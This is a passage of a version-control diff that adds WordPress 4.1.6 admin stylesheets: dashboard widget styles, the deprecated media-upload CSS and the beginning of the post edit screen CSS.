+input#save-post {
+	float: left;
+}
+
+form.initial-form.quickpress-open label.prompt {
+	font-style: normal;
+}
+
+form.initial-form.quickpress-open input#title {
+	height: auto;
+}
+
+#dashboard_quick_press input,
+#dashboard_quick_press textarea {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin: 0;
+}
+
+#dashboard_quick_press textarea {
+	resize: vertical;
+}
+
+#dashboard-widgets .postbox form .submit {
+	margin: -39px 0;
+	float: right;
+}
+
+#description-wrap {
+	margin-top: 12px;
+}
+
+#title-wrap #title-prompt-text,
+.textarea-wrap #content-prompt-text {
+	color: #777;
+}
+
+#title-wrap #title-prompt-text {
+	font-size: 1.1em;
+	padding: 7px 8px;
+}
+
+.input-text-wrap,
+.textarea-wrap {
+	position: relative;
+}
+
+.input-text-wrap .prompt,
+.textarea-wrap .prompt {
+	position: absolute;
+}
+
+.textarea-wrap #content-prompt-text {
+	font-size: 1.1em;
+	padding: 7px 8px;
+}
+
+.textarea-wrap textarea#content {
+	margin: 0 0 8px;
+	padding: 6px 7px;
+}
+
+#quick-press textarea#content {
+	min-height: 90px;
+	max-height: 1300px;
+	resize: none;
+}
+
+/* Dashboard Quick Draft - Drafts list */
+
+.js #dashboard_quick_press .drafts {
+	border-top: 1px solid #eee;
+}
+
+#dashboard_quick_press .drafts abbr {
+	border: none;
+}
+
+#dashboard_quick_press .drafts h4 {
+	margin: 0 12px 8px;
+	font-weight: normal;
+}
+
+#dashboard_quick_press .drafts .view-all {
+	float: right;
+	margin: 0 12px 0 0;
+}
+
+#dashboard_primary a.rsswidget {
+	font-weight: normal;
+}
+
+#dashboard_quick_press .drafts ul {
+	margin: 0 12px;
+}
+
+#dashboard_quick_press .drafts li {
+	margin-bottom: 1em;
+}
+#dashboard_quick_press .drafts li time {
+	color: #777;
+}
+
+#dashboard_quick_press .drafts p {
+	margin: 0;
+	word-wrap: break-word;
+}
+
+#dashboard_quick_press .draft-title {
+	overflow: hidden;
+}
+
+#dashboard_quick_press .draft-title a,
+#dashboard_quick_press .draft-title time {
+	float: left;
+	margin: 0 5px 0 0;
+}
+
+/* Dashboard activity widget */
+
+#dashboard-widgets #dashboard_activity h4 {
+	margin: 0 0 8px 12px;
+	font-weight: normal;
+}
+
+#dashboard-widgets #dashboard_activity h4.comment-meta {
+	margin: 0;
+}
+
+#dashboard_activity h4.comment-meta {
+	margin-bottom: 4px;
+}
+
+#dashboard_activity ul {
+	padding: 0 12px;
+}
+
+#dashboard_activity .comment-meta span.approve:before {
+	content: '\f227';
+	font: 20px/.5 "dashicons";
+	margin-left: 12px;
+	vertical-align: middle;
+	position: relative;
+	top: -1px;
+	margin-right: 2px;
+}
+
+#dashboard_activity .inside {
+	padding: 0;
+	margin: 0;
+}
+
+#dashboard_activity .no-activity {
+	overflow: hidden;
+	padding: 0 12px 12px;
+	text-align: center;
+}
+
+#dashboard_activity .no-activity p {
+	color: #999;
+	font-size: 16px;
+}
+
+#dashboard_activity .no-activity .smiley {
+	margin-top: 0;
+}
+
+#dashboard_activity .no-activity .smiley:before {
+	content: '\f328';
+	font: normal 120px/1 'dashicons';
+	speak: none;
+	display: block;
+	margin: 0 5px 0 0;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	text-decoration: none !important;
+}
+
+#dashboard_activity .subsubsub {
+	float: none;
+	border-top: 1px solid #eeeeee;
+	margin-top: 0;
+	padding: 8px 12px 4px;
+}
+
+#future-posts ul,
+#published-posts ul {
+	clear: both;
+	margin-bottom: 0;
+}
+
+#future-posts li,
+#published-posts li {
+	overflow: hidden;
+	margin-bottom: 8px;
+}
+
+#future-posts ul span,
+#published-posts ul span {
+	color: #777;
+	float: left;
+	margin-right: 8px;
+	min-width: 150px;
+}
+
+.activity-block {
+	border-bottom: 1px solid #eee;
+	overflow: hidden;
+	padding: 8px 0 4px;
+}
+
+.activity-block:last-child {
+	border-bottom: none;
+}
+
+.activity-block .subsubsub li {
+	color: #ddd;
+}
+
+/* Dashboard activity widget - Comments */
+/* @todo: needs serious de-duplication */
+
+#activity-widget #the-comment-list tr.undo,
+#activity-widget #the-comment-list div.undo {
+	background: none;
+	padding: 6px 0;
+	margin-left: 12px;
+}
+
+#activity-widget #the-comment-list .alternate,
+#activity-widget #the-comment-list .alt {
+	background: none;
+}
+
+#activity-widget #the-comment-list .comment-item {
+	background: #fafafa;
+	padding: 12px;
+	position: relative;
+}
+
+#activity-widget #the-comment-list img {
+	position: absolute;
+	top: 13px;
+}
+
+#activity-widget #the-comment-list .dashboard-comment-wrap {
+	padding-left: 63px;
+}
+
+#activity-widget #the-comment-list .dashboard-comment-wrap blockquote {
+	margin: 1em 0;
+}
+
+#activity-widget #the-comment-list .comment-item h4 {
+	font-size: 13px;
+	color: #999;
+}
+
+#activity-widget #the-comment-list .comment-item p.row-actions {
+	margin: 4px 0 0 0;
+}
+
+#activity-widget #the-comment-list .comment-item:first-child {
+	border-top: 1px solid #eeeeee;
+}
+
+#activity-widget #the-comment-list .unapproved {
+	background-color: #fef7f1;
+}
+
+#activity-widget #the-comment-list .unapproved:before {
+	content: "";
+	display: block;
+	position: absolute;
+	left: 0;
+	top: 0;
+	bottom: 0;
+	background: #d54e21;
+	width: 4px;
+}
+
+#activity-widget #the-comment-list .spam-undo-inside .avatar,
+#activity-widget #the-comment-list .trash-undo-inside .avatar {
+	position: relative;
+	top: 0;
+}
+
+/* Browse happy box */
+
+#dashboard-widgets #dashboard_browser_nag.postbox .inside {
+	margin: 10px;
+}
+
+.edit-box {
+	display: none;
+}
+
+h3:hover .edit-box {
+	display: inline;
+}
+
+#dashboard-widgets form .input-text-wrap input {
+	width: 100%;
+}
+
+#dashboard-widgets form .textarea-wrap textarea {
+	width: 100%;
+}
+
+#dashboard-widgets .postbox form .submit {
+	float: none;
+	margin: .5em 0 0;
+	padding: 0;
+	border: none;
+}
+
+#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish {
+	min-width: 0;
+}
+
+#dashboard-widgets a {
+	text-decoration: none;
+}
+
+#dashboard-widgets h3 a {
+	text-decoration: underline;
+}
+
+#dashboard-widgets h3 .postbox-title-action {
+	position: absolute;
+	right: 10px;
+	padding: 0;
+	top: 5px;
+}
+
+.js #dashboard-widgets h3 .postbox-title-action {
+	right: 33px;
+}
+
+#dashboard-widgets h4 {
+	color: #222;
+	font-weight: normal;
+	font-size: 14px;
+	margin: 0 0 .2em;
+	padding: 0;
+}
+
+#dashboard_plugins h5 {
+	font-size: 14px;
+}
+
+/* Recent Comments */
+
+#latest-comments #the-comment-list {
+	position: relative;
+}
+
+#activity-widget #the-comment-list .comment,
+#activity-widget #the-comment-list .pingback {
+	-webkit-box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06);
+	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06);
+}
+
+#activity-widget .comments #the-comment-list .alt {
+	background-color: transparent;
+}
+
+#activity-widget #latest-comments #the-comment-list .comment-item {
+	padding: 1em 12px;
+}
+
+#latest-comments #the-comment-list .pingback {
+	padding-left: 12px !important;
+}
+
+#latest-comments #the-comment-list .comment-item:first-child {
+	border-top: none;
+}
+
+#latest-comments #the-comment-list .comment-item h4 {
+	line-height: 1.5em;
+	margin-top: 0;
+	color: #666;
+}
+
+#latest-comments #the-comment-list .comment-item h4 cite {
+	font-style: normal;
+	font-weight: normal;
+}
+
+#latest-comments #the-comment-list .comment-item blockquote,
+#latest-comments #the-comment-list .comment-item blockquote p {
+	margin: 0;
+	padding: 0;
+	display: inline;
+}
+
+#latest-comments #the-comment-list .comment-item p.row-actions {
+	margin: 3px 0 0;
+	padding: 0;
+	font-size: 13px;
+}
+
+/* QuickDraft */
+
+#title-wrap label,
+#description-wrap label {
+	cursor: text;
+}
+
+#title-wrap #title {
+	padding: 2px 6px;
+	font-size: 1.3em;
+	outline: none;
+}
+
+#title-wrap #title-prompt-text {
+	font-size: 1.1em;
+	padding: 5px 8px;
+}
+
+/* Feeds */
+.rss-widget ul {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+a.rsswidget {
+	font-size: 14px;
+	font-weight: 600;
+	line-height: 1.7em;
+}
+
+.rss-widget ul li {
+	line-height: 1.5em;
+	margin-bottom: 12px;
+}
+
+.rss-widget span.rss-date {
+	color: #999;
+	font-size: 13px;
+	margin-left: 3px;
+}
+
+.rss-widget cite {
+	display: block;
+	text-align: right;
+	margin: 0 0 1em;
+	padding: 0;
+}
+
+.rss-widget cite:before {
+	content: '\2014';
+}
+
+.dashboard-comment-wrap {
+	overflow: hidden;
+	word-wrap: break-word;
+}
+
+/* Browser Nag */
+#dashboard_browser_nag a.update-browser-link {
+	font-size: 1.2em;
+	font-weight: 600;
+}
+
+#dashboard_browser_nag a {
+	text-decoration: underline;
+}
+
+#dashboard_browser_nag p.browser-update-nag.has-browser-icon {
+	padding-right: 125px;
+}
+
+#dashboard_browser_nag .browser-icon {
+	margin-top: -35px;
+}
+
+#dashboard_browser_nag.postbox.browser-insecure {
+	background-color: #ac1b1b;
+	border-color: #ac1b1b;
+}
+
+#dashboard_browser_nag.postbox {
+	background-color: #e29808;
+	background-image: none;
+	border-color: #edc048;
+	color: #fff;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#dashboard_browser_nag.postbox.browser-insecure h3 {
+	border-bottom-color: #cd5a5a;
+	color: #fff;
+}
+
+#dashboard_browser_nag.postbox h3 {
+	border-bottom-color: #f6e2ac;
+	background: transparent none;
+	color: #fff;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#dashboard_browser_nag a {
+	color: #fff;
+}
+
+/* Make the browser nags easier to read with Open Sans */
+
+#dashboard_browser_nag h3.hndle {
+	border: none;
+	font-weight: 600;
+	font-size: 20px;
+	padding-top: 10px;
+}
+
+.postbox#dashboard_browser_nag p a.dismiss {
+	font-size: 14px;
+}
+
+.postbox#dashboard_browser_nag p,
+.postbox#dashboard_browser_nag a,
+.postbox#dashboard_browser_nag p.browser-update-nag {
+	font-size: 16px;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/* one column on the dash */
+@media only screen and (max-width: 799px) {
+	#wpbody-content #dashboard-widgets .postbox-container {
+		width: 100%;
+	}
+}
+
+/* two columns on the dash, but keep the setting if one is selected */
+@media only screen and (min-width: 800px) and (max-width: 1499px) {
+	#wpbody-content #dashboard-widgets .postbox-container {
+		width: 49.5%;
+	}
+
+	#wpbody-content #dashboard-widgets #postbox-container-2,
+	#wpbody-content #dashboard-widgets #postbox-container-3,
+	#wpbody-content #dashboard-widgets #postbox-container-4 {
+		float: right;
+		width: 50.5%;
+	}
+
+	#dashboard-widgets #postbox-container-3 .empty-container,
+	#dashboard-widgets #postbox-container-4 .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container {
+		width: 100%;
+	}
+
+	#wpbody #wpbody-content .metabox-holder.columns-1 .postbox-container .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	/* show the radio buttons for column prefs only for one or two columns */
+	.index-php .screen-layout,
+	.index-php .columns-prefs {
+		display: block;
+	}
+
+	.columns-prefs .columns-prefs-3,
+	.columns-prefs .columns-prefs-4 {
+		display: none;
+	}
+}
+
+/* three columns on the dash */
+@media only screen and (min-width: 1500px) and (max-width: 1800px) {
+	#wpbody-content #dashboard-widgets .postbox-container {
+		width: 33.5%;
+	}
+
+	#wpbody-content #dashboard-widgets #postbox-container-1 {
+		width: 33%;
+	}
+
+	#wpbody-content #dashboard-widgets #postbox-container-3,
+	#wpbody-content #dashboard-widgets #postbox-container-4 {
+		float: right;
+	}
+
+	#dashboard-widgets #postbox-container-4 .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+}
+
+@media screen and (max-width: 870px) {
+	.welcome-panel .welcome-panel-column,
+	.welcome-panel .welcome-panel-column:first-child {
+		display: block;
+		float: none;
+		width: 100%;
+	}
+
+	.welcome-panel .welcome-panel-column li {
+		display: inline-block;
+		margin-right: 13px;
+	}
+
+	.welcome-panel .welcome-panel-column ul {
+		margin: 0.4em 0 0;
+	}
+
+}
+
+@media screen and ( max-width: 782px ) {
+	#dashboard_recent_comments #the-comment-list .comment-item .avatar {
+		height: 30px;
+		width: 30px;
+		margin: 4px 10px 5px 0;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	/* Keep the close icon from overlapping the Welcome text. */
+	.welcome-panel .welcome-panel-close {
+		overflow: hidden;
+		text-indent: 100%;
+		white-space: nowrap;
+		width: 20px;
+		height: 20px;
+		right: 0;
+		padding: 5px;
+	}
+
+	/* Make the close icon larger for tappability. */
+	#welcome-panel.welcome-panel .welcome-panel-close:before {
+		font-size: 20px;
+		margin: 0;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/deprecated-media.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/deprecated-media.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/deprecated-media.css	(revision 33402)
@@ -0,0 +1,371 @@
+/* Styles for the media library iframe (not used on the Library screen) */
+
+div#media-upload-header {
+	margin: 0;
+	padding: 5px 5px 0;
+	font-weight: bold;
+	position: relative;
+	border-bottom: 1px solid #dfdfdf;
+	background: #f9f9f9;
+}
+
+body#media-upload ul#sidemenu {
+	font-weight: normal;
+	margin: 0 5px;
+	left: 0;
+	bottom: -1px;
+	float: none;
+	overflow: hidden;
+}
+
+#media-upload:after { /* clearfix */
+	content: "";
+	display: table;
+	clear: both;
+}
+
+#media-upload .slidetoggle {
+	border-top-color: #dfdfdf;
+}
+
+#media-upload input[type="radio"] {
+	padding: 0;
+}
+
+form {
+	margin: 1em;
+}
+
+#search-filter {
+	text-align: right;
+}
+
+th {
+	position: relative;
+}
+
+.media-upload-form label.form-help, td.help {
+	font-family: sans-serif;
+	font-style: italic;
+	font-weight: normal;
+}
+
+.media-upload-form p.help {
+	margin: 0;
+	padding: 0;
+}
+
+.media-upload-form fieldset {
+	width: 100%;
+	border: none;
+	text-align: justify;
+	margin: 0 0 1em 0;
+	padding: 0;
+}
+
+/* specific to the image upload form */
+
+.image-align-none-label {
+	background: url(../images/align-none.png) no-repeat center left;
+}
+
+.image-align-left-label {
+	background: url(../images/align-left.png) no-repeat center left;
+}
+
+.image-align-center-label {
+	background: url(../images/align-center.png) no-repeat center left;
+}
+
+.image-align-right-label {
+	background: url(../images/align-right.png) no-repeat center left;
+}
+
+tr.image-size td {
+	width: 460px;
+}
+
+tr.image-size div.image-size-item {
+	margin: 0 0 5px;
+}
+
+#library-form .progress,
+#gallery-form .progress,
+.insert-gallery,
+.describe.startopen,
+.describe.startclosed {
+	display: none;
+}
+
+.media-item .thumbnail {
+	max-width: 128px;
+	max-height: 128px;
+}
+
+thead.media-item-info tr {
+	background-color: transparent;
+}
+
+.form-table thead.media-item-info {
+	border: 8px solid #fff;
+}
+
+abbr.required {
+	text-decoration: none;
+	border: none;
+}
+
+.describe label {
+	display: inline;
+}
+
+.describe td.error {
+	padding: 2px 8px;
+}
+
+.describe td.A1 {
+	width: 132px;
+}
+
+.describe input[type="text"],
+.describe textarea {
+	width: 460px;
+	border-width: 1px;
+	border-style: solid;
+}
+
+/* Specific to Uploader */
+
+#media-upload p.ml-submit {
+	padding: 1em 0;
+}
+
+#media-upload p.help,
+#media-upload label.help {
+	font-family: sans-serif;
+	font-style: italic;
+	font-weight: normal;
+}
+
+#media-upload .ui-sortable .media-item {
+	cursor: move;
+}
+
+#media-upload tr.image-size {
+	margin-bottom: 1em;
+	height: 3em;
+}
+
+#media-upload #filter {
+	width: 623px;
+}
+
+#media-upload #filter .subsubsub {
+	margin: 8px 0;
+}
+
+#filter .tablenav select {
+	border-style: solid;
+	border-width: 1px;
+	padding: 2px;
+	vertical-align: top;
+	width: auto;
+}
+
+#media-upload .del-attachment {
+	display: none;
+	margin: 5px 0;
+}
+
+.menu_order {
+	float: right;
+	font-size: 11px;
+	margin: 8px 10px 0;
+}
+
+.menu_order_input {
+	border: 1px solid #ddd;
+	font-size: 10px;
+	padding: 1px;
+	width: 23px;
+}
+
+.ui-sortable-helper {
+	background-color: #fff;
+	border: 1px solid #aaa;
+	opacity: 0.6;
+	filter: alpha(opacity=60);
+}
+
+#media-upload th.order-head {
+	width: 20%;
+	text-align: center;
+}
+
+#media-upload th.actions-head {
+	width: 25%;
+	text-align: center;
+}
+
+#media-upload a.wp-post-thumbnail {
+	margin: 0 20px;
+}
+
+#media-upload .widefat {
+	border-style: solid solid none;
+}
+
+.sorthelper {
+	height: 37px;
+	width: 623px;
+	display: block;
+}
+
+#gallery-settings th.label {
+	width: 160px;
+}
+
+#gallery-settings #basic th.label {
+	padding: 5px 5px 5px 0;
+}
+
+#gallery-settings .title {
+	clear: both;
+	padding: 0 0 3px;
+	font-size: 1.6em;
+	border-bottom: 1px solid #DADADA;
+}
+
+h3.media-title  {
+	font-size: 1.6em;
+}
+
+h4.media-sub-title  {
+	border-bottom: 1px solid #DADADA;
+	font-size: 1.3em;
+	margin: 12px;
+	padding: 0 0 3px;
+}
+
+#gallery-settings .title,
+h3.media-title,
+h4.media-sub-title {
+	font-family: Georgia,"Times New Roman",Times,serif;
+	font-weight: normal;
+	color: #5A5A5A;
+}
+
+#gallery-settings .describe td {
+	vertical-align: middle;
+	height: 3em;
+}
+
+#gallery-settings .describe th.label {
+	padding-top: .5em;
+	text-align: left;
+}
+
+#gallery-settings .describe {
+	padding: 5px;
+	width: 100%;
+	clear: both;
+	cursor: default;
+	background: #fff;
+}
+
+#gallery-settings .describe select {
+	width: 15em;
+}
+
+#gallery-settings .describe select option,
+#gallery-settings .describe td {
+	padding: 0;
+}
+
+#gallery-settings label,
+#gallery-settings legend {
+	font-size: 13px;
+	color: #464646;
+	margin-right: 15px;
+}
+
+#gallery-settings .align .field label {
+	margin: 0 1em 0 3px;
+}
+
+#gallery-settings p.ml-submit {
+	border-top: 1px solid #dfdfdf;
+}
+
+#gallery-settings select#columns {
+	width: 6em;
+}
+
+#sort-buttons {
+	font-size: 0.8em;
+	margin: 3px 25px -8px 0;
+	text-align: right;
+	max-width: 625px;
+}
+
+#sort-buttons a {
+	text-decoration: none;
+}
+
+#sort-buttons #asc,
+#sort-buttons #showall {
+	padding-left: 5px;
+}
+
+#sort-buttons span {
+	margin-right: 25px;
+}
+
+p.media-types {
+	padding: 1em;
+}
+
+tr.not-image {
+	display: none;
+}
+
+table.not-image tr.not-image {
+	display: table-row;
+}
+
+table.not-image tr.image-only {
+	display: none;
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	.image-align-none-label {
+		background-image: url(../images/align-none-2x.png?ver=20120916);
+		-webkit-background-size: 21px 15px;
+		background-size: 21px 15px;
+	}
+
+	.image-align-left-label {
+		background-image: url(../images/align-left-2x.png?ver=20120916);
+		-webkit-background-size: 22px 15px;
+		background-size: 22px 15px;
+	}
+
+	.image-align-center-label {
+		background-image: url(../images/align-center-2x.png?ver=20120916);
+		-webkit-background-size: 21px 15px;
+		background-size: 21px 15px;
+	}
+
+	.image-align-right-label {
+		background-image: url(../images/align-right-2x.png?ver=20120916);
+		-webkit-background-size: 22px 15px;
+		background-size: 22px 15px;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/edit.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/edit.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/edit.css	(revision 33402)
@@ -0,0 +1,1617 @@
+#poststuff {
+	padding-top: 10px;
+	min-width: 763px;
+}
+
+#poststuff #post-body {
+	padding: 0;
+}
+
+#poststuff .postbox-container {
+	width: 100%;
+}
+
+#poststuff #post-body.columns-2 {
+	margin-right: 300px;
+}
+
+/*------------------------------------------------------------------------------
+  11.0 - Write/Edit Post Screen
+------------------------------------------------------------------------------*/
+
+#show-comments {
+	overflow: hidden;
+}
+
+#save-action .spinner,
+#show-comments a,
+#show-comments .spinner {
+	float: left;
+}
+
+#lost-connection-notice .spinner {
+	display: block;
+	float: left;
+	margin: 0 5px 0 0;
+}
+
+#titlediv {
+	position: relative;
+}
+
+#titlediv label {
+	cursor: text;
+}
+
+#titlediv div.inside {
+	margin: 0;
+}
+
+#poststuff #titlewrap {
+	border: 0;
+	padding: 0;
+}
+
+#titlediv #title {
+	padding: 3px 8px;
+	font-size: 1.7em;
+	line-height: 100%;
+	height: 1.7em;
+	width: 100%;
+	outline: none;
+	margin: 0;
+	background-color: #fff;
+}
+
+#titlediv #title-prompt-text {
+	color: #777;
+	position: absolute;
+	font-size: 1.7em;
+	padding: 11px 10px;
+}
+
+#wp-fullscreen-save .fs-saved {
+	color: #999;
+	float: right;
+	margin-top: 4px;
+}
+
+#poststuff .inside-submitbox,
+#side-sortables .inside-submitbox {
+	margin: 0 3px;
+	font-size: 11px;
+}
+
+input#link_description,
+input#link_url {
+	width: 98%;
+}
+
+#pending {
+	background: 0 none;
+	border: 0 none;
+	padding: 0;
+	font-size: 11px;
+	margin-top: -1px;
+}
+
+#edit-slug-box {
+	line-height: 24px;
+	min-height: 25px; /* Yes, line-height + 1 */
+	margin-top: 5px;
+	padding: 0 10px;
+	color: #666;
+}
+
+#edit-slug-box .cancel {
+	margin-right: 10px;
+	font-size: 11px;
+}
+
+#editable-post-name-full {
+	display: none;
+}
+
+#editable-post-name {
+	background-color: #fffbcc;
+}
+
+#editable-post-name input {
+	font-size: 13px;
+	height: 22px;
+	margin: 0;
+	width: 16em;
+}
+
+.postarea h3 label {
+	float: left;
+}
+
+.submitbox .submit {
+	text-align: left;
+	padding: 12px 10px 10px;
+	font-size: 11px;
+	background-color: #464646;
+	color: #ccc;
+}
+
+.submitbox .submitdelete {
+	text-decoration: none;
+	padding: 1px 2px;
+}
+
+/* @todo: do we really need this? word on the street is we don't and this
+stray rule may actually be compensated for elsewhere. */
+#normal-sortables .submitbox .submitdelete:hover {
+	color: #000;
+	background-color: #f00;
+	border-bottom-color: #f00;
+}
+
+.submitbox .submit a:hover {
+	text-decoration: underline;
+}
+
+.submitbox .submit input {
+	margin-bottom: 8px;
+	margin-right: 4px;
+	padding: 6px;
+}
+
+.inside-submitbox #post_status {
+	margin: 2px 0 2px -2px;
+}
+
+#post-status-select {
+	margin-top: 3px;
+}
+
+/* Post Screen */
+#post-body #normal-sortables {
+	min-height: 50px;
+}
+
+.postbox {
+	position: relative;
+	min-width: 255px;
+	border: 1px solid #e5e5e5;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+}
+
+#trackback_url {
+	width: 99%;
+}
+
+#normal-sortables .postbox .submit {
+	background: transparent none;
+	border: 0 none;
+	float: right;
+	padding: 0 12px;
+	margin:0;
+}
+
+.category-add input[type="text"],
+.category-add select {
+	width: 100%;
+	max-width: 260px;
+	vertical-align: baseline;
+}
+
+#side-sortables .category-add input[type="text"],
+#side-sortables .category-add select {
+	margin: 0 0 1em;
+}
+
+ul.category-tabs li,
+#side-sortables .add-menu-item-tabs li,
+.wp-tab-bar li {
+	display: inline;
+	line-height: 1.35em;
+}
+
+.no-js .category-tabs li.hide-if-no-js {
+	display: none;
+}
+
+.category-tabs a,
+#side-sortables .add-menu-item-tabs a,
+.wp-tab-bar a {
+	text-decoration: none;
+}
+
+/* @todo: do these really need to be so specific? */
+#side-sortables .category-tabs .tabs a,
+#side-sortables .add-menu-item-tabs .tabs a,
+.wp-tab-bar .wp-tab-active a,
+#post-body ul.category-tabs li.tabs a,
+#post-body ul.add-menu-item-tabs li.tabs a {
+	color: #333;
+}
+
+.category-tabs {
+	margin: 8px 0 5px;
+}
+
+#category-adder h4 {
+	margin: 10px 0;
+}
+
+#side-sortables .add-menu-item-tabs,
+.wp-tab-bar {
+	margin-bottom: 3px;
+}
+
+#normal-sortables .postbox #replyrow .submit {
+	float: none;
+	margin: 0;
+	padding: 0 7px 5px;
+}
+
+#side-sortables .submitbox .submit input,
+#side-sortables .submitbox .submit .preview,
+#side-sortables .submitbox .submit a.preview:hover {
+	border: 0 none;
+}
+
+#side-sortables .inside-submitbox .insidebox,
+.stuffbox .insidebox {
+	margin: 11px 0;
+}
+
+/* @todo: make this a more generic class */
+ul.category-tabs,
+ul.add-menu-item-tabs,
+ul.wp-tab-bar {
+	margin-top: 12px;
+}
+
+ul.category-tabs li,
+ul.add-menu-item-tabs li {
+	border: solid 1px transparent;
+	position: relative;
+}
+
+ul.category-tabs li.tabs,
+ul.add-menu-item-tabs li.tabs,
+.wp-tab-active {
+	border: 1px solid #dfdfdf;
+	border-bottom-color: #fdfdfd;
+	background-color: #fdfdfd;
+}
+
+ul.category-tabs li,
+ul.add-menu-item-tabs li,
+ul.wp-tab-bar li {
+	padding: 3px 5px 5px;
+}
+
+#postimagediv .inside img {
+	max-width: 100%;
+	height: auto;
+	width: auto;
+}
+
+form#tags-filter {
+	position: relative;
+}
+
+/* Edit posts */
+td.post-title strong,
+td.plugin-title strong {
+	display: block;
+	margin-bottom: .2em;
+	font-size: 14px;
+}
+
+td.post-title p,
+td.plugin-title p {
+	margin: 6px 0;
+}
+
+/* Global classes */
+.wp-hidden-children .wp-hidden-child,
+.ui-tabs-hide {
+	display: none;
+}
+
+#post-body .tagsdiv #newtag {
+	margin-right: 5px;
+	width: 16em;
+}
+
+#side-sortables input#post_password {
+	width: 94%
+}
+
+#side-sortables .tagsdiv #newtag {
+	width: 68%;
+}
+
+#post-status-info {
+	width: 100%;
+	border-spacing: 0;
+	border: 1px solid #e5e5e5;
+	border-top: none;
+	background-color: #f7f7f7;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	z-index: 999;
+}
+
+#post-status-info td {
+	font-size: 12px;
+}
+
+.autosave-info {
+	padding: 2px 10px;
+	text-align: right;
+}
+
+#editorcontent #post-status-info {
+	border: none;
+}
+
+#content-resize-handle {
+	background: transparent url(../images/resize.gif) no-repeat scroll right bottom;
+	width: 12px;
+	cursor: row-resize;
+}
+
+.rtl #content-resize-handle {
+	background: transparent url(../images/resize-rtl.gif) no-repeat scroll left bottom;
+}
+
+.wp-editor-expand #content-resize-handle {
+	display: none;
+}
+
+#postdivrich #content {
+	resize: none;
+}
+
+#wp-word-count {
+	display: block;
+	padding: 2px 10px;
+}
+
+#wp-content-editor-container {
+	position: relative;
+}
+
+#content-textarea-clone {
+	z-index: -1;
+	position: absolute;
+	top: 0;
+	visibility: hidden;
+	overflow: hidden;
+	max-width: 100%;
+	border: 1px solid transparent;
+}
+
+.wp-fullscreen-wrap #content-textarea-clone {
+	display: none;
+}
+
+/* editor-expand.js override */
+.wp-fullscreen-wrap {
+	padding-top: 0 !important;
+}
+
+.wp-fullscreen-wrap .wp-editor-area {
+	margin-top: 0 !important;
+}
+
+.wp-fullscreen-wrap .mce-edit-area {
+	padding-top: 0 !important;
+}
+/* end editor-expand.js override */
+
+.wp-editor-expand #wp-content-editor-tools {
+	z-index: 1000;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.wp-editor-expand #wp-content-editor-container {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	margin-top: -1px;
+}
+
+.wp-editor-expand #wp-content-editor-container {
+	border-bottom: 0 none;
+}
+
+.wp-editor-expand div.mce-statusbar {
+	z-index: 1;
+}
+
+.wp-editor-expand #post-status-info {
+	border-top: 1px solid #e5e5e5;
+}
+
+.wp-editor-expand div.mce-toolbar-grp {
+	z-index: 999;
+}
+
+/* TinyMCE native fullscreen mode override */
+.mce-fullscreen #wp-content-wrap .mce-menubar,
+.mce-fullscreen #wp-content-wrap .mce-toolbar-grp,
+.mce-fullscreen #wp-content-wrap .mce-edit-area,
+.mce-fullscreen #wp-content-wrap .mce-statusbar {
+	position: static !important;
+	width: auto !important;
+	padding: 0 !important;
+}
+
+.mce-fullscreen #wp-content-wrap .mce-statusbar {
+	visibility: visible !important;
+}
+
+.post-php.mce-fullscreen #wpadminbar,
+.mce-fullscreen #wp-content-wrap .mce-wp-dfw {
+	display: none;
+}
+/* End TinyMCE native fullscreen mode override */
+
+#wp-content-editor-tools {
+	background-color: #f1f1f1;
+	padding-top: 20px;
+}
+
+#poststuff #post-body.columns-2 #side-sortables {
+	width: 280px;
+}
+
+#timestampdiv select {
+	height: 21px;
+	line-height: 14px;
+	padding: 0;
+	vertical-align: top;
+	font-size: 12px;
+}
+
+#aa, #jj, #hh, #mn {
+	padding: 1px;
+	font-size: 12px;
+}
+
+#jj, #hh, #mn {
+	width: 2em;
+}
+
+#aa {
+	width: 3.4em;
+}
+
+.curtime #timestamp {
+	padding: 2px 0 1px 0;
+	display: inline !important;
+	height: auto !important;
+}
+
+#misc-publishing-actions label[for="post_status"]:before,
+#post-body #visibility:before,
+.curtime #timestamp:before,
+#post-body .misc-pub-revisions:before,
+span.wp-media-buttons-icon:before {
+	color: #888;
+}
+
+#post-body #visibility:before,
+.curtime #timestamp:before,
+#post-body .misc-pub-revisions:before {
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 0 2px 0 0;
+	top: 0;
+	left: -1px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+#post-body #visibility:before {
+	content: '\f177';
+}
+
+.curtime #timestamp:before {
+	content: '\f145';
+	top: -1px;
+}
+
